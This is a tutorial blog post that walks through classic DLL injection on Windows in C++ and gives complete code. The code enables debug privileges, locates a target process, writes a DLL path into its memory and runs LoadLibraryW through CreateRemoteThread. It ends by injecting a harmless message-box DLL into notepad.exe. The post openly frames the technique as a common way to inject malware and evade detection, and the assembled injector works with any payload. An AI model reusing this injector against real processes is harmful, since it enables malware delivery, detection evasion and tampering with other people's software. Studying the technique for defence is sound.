DLL Injection
In this post, we will go over how to perform DLL injection with C++.
DLL injection is perhaps one of the most popular techniques to inject malware into a legitimate process. DLL injection is often used by malicious actors in order to evade detection or even influence the behavior of another process, which is often the case with game hackers. This technique ensures the execution of a malicious DLL by writing its path into the address space of another process and running it by creating a new thread.
A DLL is a library that contains code and data that can be used by more than one program at the same time. For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box related functions. Each program can use the functionality that is contained in this DLL to implement an Open dialog box. It helps promote code reuse and efficient memory usage. — Microsoft
A complete picture of how DLL injection works can be seen in the image below.

First, we will create a function to adjust token privileges so we can acquire debug privileges for the currently running process (malware process). To do this, we call OpenProcessToken
to retrieve the access token of the current process. According to MSDN, an access token “contains the security information for a logon session. The system creates an access token when a user logs on, and every process executed on behalf of the user has a copy of the token. The token identifies the user, the user’s groups, and the user’s privileges.”
Next, we call LookupPrivilegeValue
to get the locally unique identifier (LUID) of the specific privilege—in this case, SE_DEBUG_NAME. This privilege is needed to modify the memory of a process owned by another account. Finally, we call AdjustTokenPrivileges
to enable the SE_DEBUG_NAME
privilege in the access token.
It's important to note that adjusting token privileges is not always necessary for DLL injection. If the target process runs in the same context as the injector (i.e., the same user), no extra privileges are needed. However, if the target process runs under a different user account, SE_DEBUG_NAME
must be enabled.
Below is our function that enables debug privileges.
BOOL GrantDebugPriv(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tokenPriv;
LUID luid;
// open the access token associated witht the current process
// hToken is a pointer to a handle that identifies the newly opened access token when the function returns.
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return FALSE;
}
// retrieve the locally unique identifier of the specified privilege
if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
return FALSE;
}
// assign the requested privilege enable state to the token privilege structure
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = bEnablePrivilege ? SE_PRIVILEGE_ENABLED : NULL;
// enable the requested privilege in the specified access token
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tokenPriv,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL)) {
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
return FALSE;
}
return TRUE;
}
We will define another function to retrieve the process ID of our target process. To do this, we call CreateToolhelp32Snapshot
to take a snapshot of all currently running processes. We then iterate through these processes using Process32Next
, comparing each process name with the name of our target process. If a match is found, the function returns the process ID. If no match is found after checking all processes, the function returns NULL
.
Below is the function definition.
DWORD FindProcessByName(PCWSTR processName) {
DWORD dwProcessID;
// take a snapshot of all processes in the system; they will be iterated through
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 procEntry;
procEntry.dwSize = sizeof(procEntry);
do {
// compare the name of the current process in the snapshot with our target process
// if there is a match, return the process ID
if (!_wcsicmp(procEntry.szExeFile, processName))
{
CloseHandle(hSnapshot);
dwProcessID = procEntry.th32ProcessID;
return dwProcessID;
}
} while (Process32Next(hSnapshot, &procEntry));
// retrieve information about the next process recorded in a system snapshot
return NULL;
}
Now for the fun part—DLL injection. This function will take two arguments: the process name and the DLL name.
We begin by enabling the SE_DEBUG_NAME
privilege by calling the GrantDebugPriv
function we defined earlier. Next, we retrieve the process ID of the target process using FindProcessByName
. This function takes a constant wide character array containing the target process name. If the process is not found, the program exits.
Similarly, we verify the existence of the DLL by calling GetFullPathName
. This function writes the full path of the specified file (in our case, the DLL) into a buffer. If the return value is 0
, the file does not exist. This serves a dual purpose: it provides the full path of the DLL, which will be written to the target process, and it ensures the DLL file actually exists.
With the process ID returned by FindProcessByName
, we call OpenProcess
, which takes three arguments: the desired access rights, a Boolean indicating whether the process inherits the handle, and the process ID. We will specify a desired access of:
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD
This allows us to perform virtual memory operations and create threads in the target process. The second argument is not needed, so we will pass FALSE
. The third argument is the process ID of the target process, which is returned by our FindProcessByName
function.
Our call to OpenProcess
will look like this:
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, dwProcessID);
Using the handle to the target process returned by OpenProcess
, we can call VirtualAllocEx
which takes five arguments:
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
Here is a breakdown of the arguments:
-
hProcess
: The handle to the target process. -
lpAddress
: The address in the target process where the memory will be allocated. We will passNULL
to let the system decide where to allocate the memory. -
dwSize
: The size of the memory to allocate. We will pass the size of the DLL file. -
flAllocationType
: The type of memory allocation. We will passMEM_COMMIT | MEM_RESERVE
. -
flProtect
: The memory protection for the allocated memory. We will passPAGE_READWRITE
.
hProcess
will be the handle returned by OpenProcess
. lpAddress
will be NULL
since we don’t care about a starting address. dwSize
will be set to MAX_PATH
(260 bytes) for now. The flAllocationType
will be MEM_COMMIT | MEM_RESERVE
, and the memory protection will be PAGE_READWRITE
.
The call to VirtualAllocEx
will look like this:
LPVOID lpRemoteMemory = VirtualAllocEx(
hProcess,
NULL,
dwMemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
The full path of the DLL will be written into the newly allocated region of memory with a call to WriteProcessMemory
, whose arguments are as follows:
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
hProcess
will be our handle to the target process, and lpBaseAddress
will be the memory address returned by our call to VirtualAllocEx
. lpBuffer
is the buffer containing the full path of the DLL, which was written by GetFullPathName
. dwMemSize
will be 260 bytes, as before, and lpNumberOfBytesWritten
will be NULL.
Here’s our call:
WriteProcessMemory(
hProcess,
lpRemoteMemory,
(LPCVOID)dllFullPath,
dwMemSize,
NULL
);
Next, we need to get the address of LoadLibraryW
, which will be used to load our DLL into the address space of the target process. The LoadLibraryW
function resides in Kernel32.dll
, so we first need to obtain a handle to this DLL using:
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
Kernel32.dll is the 32-bit dynamic link library found in the Windows operating system kernel. It handles memory management, input/output operations, and interrupts. When Windows boots up, kernel32.dll is loaded into a protected memory space so other applications do not take that space over. — webopedia
The address of LoadLibraryW
is then received with the call:
LPVOID lpLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
GetModuleHandle
returns a handle to the specified module, and GetProcAddress
returns the address of the specified function within that module.
At this point, we have written the path of our DLL into the virtual memory space of the target process. All that’s left is to call CreateRemoteThread
, which, according to Microsoft, "creates a thread that runs in the virtual address space of another process." The syntax for this function is:
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
What matters to us are the arguments hProcess
, lpStartAddress
, and lpParameter
. These will be the handle to our target process, the address of LoadLibraryW
returned by GetProcAddress
, and the location of the newly allocated memory returned by WriteProcessMemory
, respectively.
The call to CreateRemoteThread
is as follows:
HANDLE hRemoteThread = CreateRemoteThread(
hProcess,
NULL,
NULL,
(LPTHREAD_START_ROUTINE)lpLoadLibrary,
lpRemoteMemory,
NULL,
NULL
);
We will then wait for the thread to finish executing using a call to WaitForSingleObject
. This is necessary because we don’t want to release the allocated memory containing the DLL path before the thread has finished executing.
WaitForSingleObject(hRemoteThread, INFINITE);
Once WaitForSingleObject
returns, we can clean up by releasing the allocated memory with VirtualFreeEx and closing the handle to the target process with CloseHandle
.
VirtualFreeEx(hProcess, (LPVOID)lpRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
The entire DLL injection process outlined above can be seen in the code snippet below. Please note that error handling is included in the code, but I didn’t cover it here for the sake of brevity.
BOOL InjectDLL(PCWSTR processName, PCWSTR dllPath) {
TCHAR dllFullPath[MAX_PATH];
// enable the SE_DEBUG_NAME privilege for the current process
GrantDebugPriv(NULL, SE_DEBUG_NAME, TRUE)
// get the PID of the target process
DWORD dwProcessID = FindProcessByName(processName);
if (dwProcessID == NULL) {
return FALSE;
}
// get the full path of the DLL that will be injected into the target process
// write the full path to the dllFullPath buffer
GetFullPathName(dllPath, MAX_PATH, dllFullPath, NULL);
// if the DLL path does not exist, the DLL does not exists, exit
if (_waccess_s(dllFullPath, 0) != 0) {
return FALSE;
}
// open a handle to the target process given then PID, exit if null
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, dwProcessID);
if (hProcess == NULL) {
return FALSE;
}
// the size of our soon to be allocated memory; 260 bytes
DWORD dwMemSize = (DWORD)MAX_PATH;
// allocate 260 bytes of memory in the target process; returns the base address of that section
LPVOID lpRemoteMemory = VirtualAllocEx(
hProcess,
NULL,
dwMemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
// exit if memory allocation failed
if (lpRemoteMemory == NULL) {
return FALSE;
}
// write the path of the DLL into the newly allocateed memory region
if (!WriteProcessMemory(
hProcess,
lpRemoteMemory,
(LPCVOID)dllFullPath,
dwMemSize,
NULL)) {
return FALSE;
}
// get a handle to kernel32.dll, needed to get the address of LoadLibrary; exit if failed
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (hKernel32 == NULL) {
return FALSE;
}
// get the address of LoadLibrary given the handle to kernel32.dll
// will be used to load the DLL into the target process as a thread
LPVOID lpLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
if (lpLoadLibrary == NULL) {
return FALSE;
}
// create a thread that will load the DLL into the target process using LoadLibrary
HANDLE hRemoteThread = CreateRemoteThread(
hProcess,
NULL,
NULL,
(LPTHREAD_START_ROUTINE)lpLoadLibrary,
lpRemoteMemory,
NULL,
NULL);
// if the handle to the new thread is null, exit
if (hRemoteThread == NULL) {
return FALSE;
}
// wait for the thread to finish executing
WaitForSingleObject(hRemoteThread, INFINITE);
// release the allocated memory where the DLL pat resides
// close the handle to the target process
VirtualFreeEx(hProcess, (LPVOID)lpRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return TRUE;
}
For our DLL, we can write a simple “Hello World” program with a pop up window.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
extern "C" _declspec(dllexport)
DWORD WINAPI hello(LPVOID lpParam) {
// display a 'hello world' message box
MessageBox(0, L"Hello World!", L"DLL Injection", 0);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// create a thread that will run the 'hello' function
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)hello, NULL, NULL, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
We can start the DLL injection by calling our InjectDLL
function with the name of the target process and DLL as arguments.
#define PROCESS_NAME L"notepad.exe"
#define DLL_NAME L"HelloWorld.dll"
int main() {
LOG("[ ] Starting DLL injection: ", PROCESS_NAME, " into ", DLL_NAME);
if (InjectDLL(PROCESS_NAME, DLL_NAME))
LOG("[+] ", DLL_NAME, " has been injected into ", PROCESS_NAME);
else
LOG("[!] ", PROCESS_NAME, " could not be injected into ", DLL_NAME);
return 0;
}
We can actually observe the DLL path being written into the target process by debugging our executable with x86dbg. To do this, we set a breakpoint after VirtualAllocEx
to get the address of the allocated memory, and then another breakpoint after WriteProcessMemory
.
Next, we open another instance of x64dbg and attach it to the target process to verify if the DLL path has been written.

As you can see above, the breakpoints are set after both calls, indicated by the red lines. Let us run the binary to the first breakpoint:

The RAX
register contains the return value of VirtualAllocEx
, which is the base address of the newly allocated region of memory. In this case, the address is 0x0000018B97700000
. Since the target process is notepad.exe
, we can attach this process in another instance of x64dbg and navigate to this address to see the memory contents.

The memory contents at address 0x0000018B97700000
are empty, which is expected since the memory was just allocated. Now, let’s run our executable to the second breakpoint, which occurs after the WriteProcessMemory
call.

We know the call to WriteProcessMemory
was successful because, according to Microsoft, “if the function succeeds, the return value is nonzero.” In our case, the RAX
register has a value of 1
. Now, let’s return to x64dbg with notepad.exe
.


Yes! In memory dump 1, we can see that the path of our DLL has been successfully written into the allocated memory region. Once we let our executable continue running, we should see a pop-up window displaying our "Hello World" message.

Well, there you have it — we’ve successfully injected a DLL into a legitimate process and achieved code execution!
The entire codebase for the DLL injection and DLL, along with their Visual Studio solution files, can be found on my GitHub here.